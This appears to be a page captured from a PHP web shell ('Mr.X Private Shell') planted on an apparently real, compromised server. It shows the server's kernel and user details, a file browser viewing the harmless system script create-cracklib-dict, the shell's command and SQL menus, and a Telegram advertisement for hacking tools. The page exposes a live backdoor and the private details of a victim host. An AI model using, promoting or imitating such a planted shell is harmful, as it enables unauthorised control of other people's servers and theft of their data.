Uname: Linux server.saraya-global.com 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Tue Sep 30 05:56:43 EDT 2025 x86_64
User: 1003 (sarayaglobal)
Group: 1004 (sarayaglobal)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/sbin      ( Reset | Go to )
File Name: create-cracklib-dict
#!/bin/sh

usage() {
    cat <<-EOF
    Usage: create-cracklib-dict [options] wordlist ...
    
    This script takes one or more word list files as arguments
    and converts them into cracklib dictionaries for use
    by password checking programs. The results are placed in
    the default compiled-in dictionary location.
    
    If you wish to store the dictionary in a different location,
    use the cracklib-format and cracklib-packer commands directly.
    
    Options:
      -o, --output <file>   Alternative output file for cracklib-packer
      -h, --help            This help output
    
    Example:
    create-cracklib-dict /usr/share/words
    EOF
    if [ -n "$*" ] ; then
        echo 1>&2
        echo "Error: $*" 1>&2
        exit 1
    else
        exit 0
    fi
}

output=""
while [ -n "$1" ] ; do
    case $1 in
        -o|--output) output=$2; shift;;
        -h|--help)   usage;;
        --)          break;;
        -*)          usage "unknown option '$*'";;
        *)           break;;
    esac
    shift
done

[ -z "$*" ] && usage

exec cracklib-format "$@" | cracklib-packer ${output}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL